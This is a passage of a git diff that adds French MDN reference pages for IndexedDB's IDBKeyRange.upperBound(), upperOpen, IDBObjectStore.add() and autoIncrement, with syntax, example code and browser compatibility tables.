+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/upperbound/index.html b/files/fr/web/api/idbkeyrange/upperbound/index.html
new file mode 100644
index 0000000000..bf00b275d9
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/upperbound/index.html
@@ -0,0 +1,179 @@
+---
+title: IDBKeyRange.upperBound()
+slug: Web/API/IDBKeyRange/upperBound
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBKeyRange/upperBound
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>upperBound()</code></strong>, rattachée à l'interface  {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne supérieure.</p>
+
+<p>Par défaut, la borne est inclue dans l'intervalle (autrement dit, il est fermé à droite).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">IDBKeyRange.upperBound(borne);
+IDBKeyRange.upperBound(borne, ouvert);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>borne</code></dt>
+ <dd>La valeur de la borne supérieure pour l'intervalle.</dd>
+ <dt><code>ouvert {{optional_inline}}</code></dt>
+ <dd>Ce booléen indique si l'intervalle est ouvert à droite (autrement dit, s'il vaut <code>false</code> la borne est inclue et s'il vaut <code>true</code> la borne n'est pas inclue dans l'intervalle).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBKeyRange")}} qui correspond à l'intervalle de clé créé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une exception {{domxref("DOMException")}} de type <code>DataError</code> lorsque la valeur passée en paramètre n'est pas une clé valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on illustre comment créer un intervalle de clé avec une borne supérieure, on utilise <code>keyRangeValue = IDBKeyRange.upperBound("F");</code> — cela permet de créer un intervalle qui contient "F" et les valeurs inférieures. On ouvre ensuite une transaction grâce à {{domxref("IDBTransaction")}}) puis un magasin d'objet et un curseur avec la méthode {{domxref("IDBObjectStore.openCursor")}} à laquelle on associe l'intervalle de clé <code>keyRangeValue</code>.</p>
+
+<p>Si on a avait utilisé <code>IDBKeyRange.upperBound("F", true);</code>, "F" n'aurait pas fait partie de l'intervalle.</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.upperBound("F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments sont affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-upperBound-IDBKeyRange-any-upper-boolean-open', 'upperBound()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/upperopen/index.html b/files/fr/web/api/idbkeyrange/upperopen/index.html
new file mode 100644
index 0000000000..52bb77a1ff
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/upperopen/index.html
@@ -0,0 +1,150 @@
+---
+title: IDBKeyRange.upperOpen
+slug: Web/API/IDBKeyRange/upperOpen
+translation_of: Web/API/IDBKeyRange/upperOpen
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La propriété <strong><code>upperOpen</code></strong> de l'interface {{domxref("IDBKeyRange")}} renvoie un booléen indiquant si la valeur de la limite supérieure est incluse dans l'{{domxref("IDBKeyRange","intervalle de clé")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myKeyRange.upperOpen;</pre>
+
+<h2 id="Value">Value</h2>
+
+<dl>
+ <dt>true</dt>
+ <dd>La valeur de la limite supérieure n'est pas incluse dans l'intervalle.</dd>
+ <dt>false</dt>
+ <dd>La valeur de la limite supérieure est incluse dans l'intervalle.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, on récupère l'{{domxref("IDBKeyRange","intervalle de clé")}} entre "F" et "W". Puis on ouvre une {{domxref("IDBTransaction","transaction")}} sur la connexion pour avoir l’{{domxref("IDBObjectStore","accès")}} au magasin d'objets 'fThings'. On met en place un {{domxref("IDBCursor","curseur")}} sur l'intervalle pour afficher dans une liste les valeurs des propriétés fThing et fRating des objets trouvés.</p>
+
+<p>La propriété <strong><code>upperOpen</code></strong> sert ici à afficher sur la console le booléen indiquant si la valeur de la limite supérieure est comprise dans l'intervalle.</p>
+
+<pre class="brush: js" style="font-size: 14px;">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("F", "W", true, true);
+  console.log(keyRangeValue.upperOpen);
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Entries all displayed.');
+      }
+    };
+  };</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-upperOpen', 'upperOpen')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/add/index.html b/files/fr/web/api/idbobjectstore/add/index.html
new file mode 100644
index 0000000000..0e2a4a7b83
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/add/index.html
@@ -0,0 +1,239 @@
+---
+title: IDBObjectStore.add()
+slug: Web/API/IDBObjectStore/add
+translation_of: Web/API/IDBObjectStore/add
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>add()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, crée un <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">clone structurel</a> de la valeur et stocke la valeur clonée dans le magasin d'objet. Cette méthode permet d'ajouter de nouveaux enregistrements dans un magasin d'objet.</p>
+
+<p>Afin de déterminer si l'opération <code>add</code> s'est effectuée correctement, on pourra écouter l'évènement <code>complete</code> de la transaction et l'évènement <code>success</code> de la requête <code>IDBObjectStore.add</code> car la transaction peut échouer après le déclenchement de l'évènement <code>success</code>. Autremnt dit, l'évènement <code>success</code> est uniquement déclenché au moment où la transaction a été mise dans la file.</p>
+
+<p>La méthode <code>add</code> ne permet que d'insérer des objets. Si un enregistrement existe déjà dans le magasin d'objet pour la clé fournie en argument, un évènement <code>ConstrainError</code> sera déclenché via l'objet {{domxref("IDBRequest")}}. Si on souhaite mettre à jour des enregistrements existants, on utilisera plutôt la méthode {{domxref("IDBObjectStore.put")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var request = objectStore.add(valeur, clé);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à ajouter au magasin.</dd>
+ <dt><code>clé</code></dt>
+ <dd>La clé qu'on souhaite utiliser pour identifier l'enregistrement. Si elle n'est pas indiquée, la valeur par défaut sera <code>null</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} qui émettra les différents évènements relatifs à l'opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une exception {{domxref("DOMException")}} ayant l'un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>ReadOnlyError</code></td>
+   <td>La transaction associée à cette opération est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction pour cet objet  {{domxref("IDBObjectStore")}} est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>Un des conditions suivantes est vérifiée :</p>
+
+    <ul>
+     <li>Le magasin d'objet utilise des clés en ligne ou possède un générateur de clés et une clé a été fournie dans la fonction.</li>
+     <li>Le magasin d'objet utilise des clés hors lignes et et n'a pas de générateur de clés et aucune clé n'a été fournie dans la fonction.</li>
+     <li>Le magasin d'objet utilise des clés en ligne mais ne possède pas de générateur de clés et le chemin de clé utilisé par le magasin ne pointe pas vers une clé valide.</li>
+     <li>La clé a été fournie à la fonction mais ce paramètre n'est pas une clé valide.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet {{domxref("IDBObjectStore")}} a été supprimé ou déplacé.</td>
+  </tr>
+  <tr>
+   <td><code>DataCloneError</code></td>
+   <td>La donnée qui devait être enregistrée n'a pas pu être clonée par l'algorithme de clonage interne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on ouvre une transaction en lecture/écriture vers la base de données et on ajoute des données au magasin d'objet grâce à la méthode <code>add()</code>. On notera également les fonctions rattachées à la transaction qui sont utilisées comme gestionnaires d'évènement et qui permettent de savoir si la transaction a réussi ou échoué.</p>
+
+<pre class="brush: js">// On ouvre la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Database initialisée.&lt;/li&gt;';
+
+  // On enregistre le résultat dans la variable db
+  // afin de l'utiliser par la suite
+  var db = DBOpenRequest.result;
+
+  // On utilise la fonction addData() afin d'ajouter
+  // des données dans la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet qu'on insèrera ensuite
+  // dans la base de données
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // afin d'ajouter les données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On indique si la transaction s'est déroulées
+  // sans problème
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification effectuée.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Ouverture de la transaction impossible : les objets dupliqués ne sont pas autorisés.&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objets pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // On ajoute l'objet newItem dans le magasin d'objets
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique la réussite de l'insertion
+    note.innerHTML += '&lt;li&gt;Nouvel objet ajouté dans la base de données.&lt;/li&gt;';
+  };
+};</pre>
+
+<div class="note">
+<p><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-add-IDBRequest-any-value-any-key', 'add()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/autoincrement/index.html b/files/fr/web/api/idbobjectstore/autoincrement/index.html
new file mode 100644
index 0000000000..d6b516219f
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/autoincrement/index.html
@@ -0,0 +1,178 @@
+---
+title: IDBObjectStore.autoIncrement
+slug: Web/API/IDBObjectStore/autoIncrement
+translation_of: Web/API/IDBObjectStore/autoIncrement
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La propriété <strong><code>autoIncrement</code></strong> de l'interface {{domxref("IDBObjectStore")}} renvoie la position du drapeau d’incrémentation automatique du magasin d'objet {{domxref("IDBObjectStore","relié")}}.</p>
+
+<p class="note">Note: Chaque magasin d'objets à son conteur d’incrémentation automatique.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var myAutoIncrement = objectStore.autoIncrement;</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Un {{domxref("Boolean","booléen")}} .</p>
+
+<dl>
+ <dt><code>true</code></dt>
+ <dd>Le magasin d'objet relié s’incrémente automatiquement.</dd>
+ <dt><code>false</code></dt>
+ <dd>Le magasin d'objet relié ne s’incrémente pas automatiquement.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on ouvre une {{domxref("IDBDatabase","connexion")}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction")}} en lecture/écriture pour avoir un {{domxref("IDBObjectStore","accès")}} au magasin d'objet <code>"toDoList"</code> dans lequel on {{domxref("IDBObjectStore.add","ajoute")}} un enregistrement.</p>
+
+<p>La propriété <strong><code>autoIncrement</code></strong> de l'accès au magasin d'objet sert à affiché la position du drapeau d’incrémentation automatique de ce magasin d'objet sur la console.</p>
+
+<pre class="brush: js">//Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+	note.innerHTML += 'Connexion établie.';
+
+	//Affecte la connexion à la variable db.
+	db = DBOpenRequest.result;
+
+	// Exécutez la fonction addData () pour ajouter l'enregistrement dans le magasin d'objet
+	addData();
+};
+function addData() {
+	// un nouvel objet prêt à être emmagasiné
+	newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+	// ouvre une transaction de lecture / écriture  prête au traitement des données sur la connexion
+	var transaction = db.transaction(["toDoList"], "readwrite");
+
+	// en cas de succès de l'ouverture de la transaction
+	transaction.oncomplete = function(event) {
+		note.innerHTML += '&lt;li&gt;Transaction complété : modification de la base de données terminée.&lt;/li&gt;';
+	};
+	// en  cas d'échec de l'ouverture de la transaction
+	transaction.onerror = function(event) {
+		note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" c\'est produite échec de la transaction.&lt;/li&gt;';
+	};
+
+	// ouvre l'accès au un magasin "toDoList" de la transaction
+	var objectStore = transaction.objectStore("toDoList");
+
+//-&gt;Affiche la position du drapeau d’incrémentation automatique
+    console.log(objectStore.autoIncrement);
+
+	// Ajoute un enregistrement
+	var objectStoreRequest = objectStore.add(newItem[0]);
+	objectStoreRequest.onsuccess = function(event) {
+		// signale l'ajout de l'enregistrement
+		note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+	};
+ };
+ </pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-autoIncrement', 'autoIncrement')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
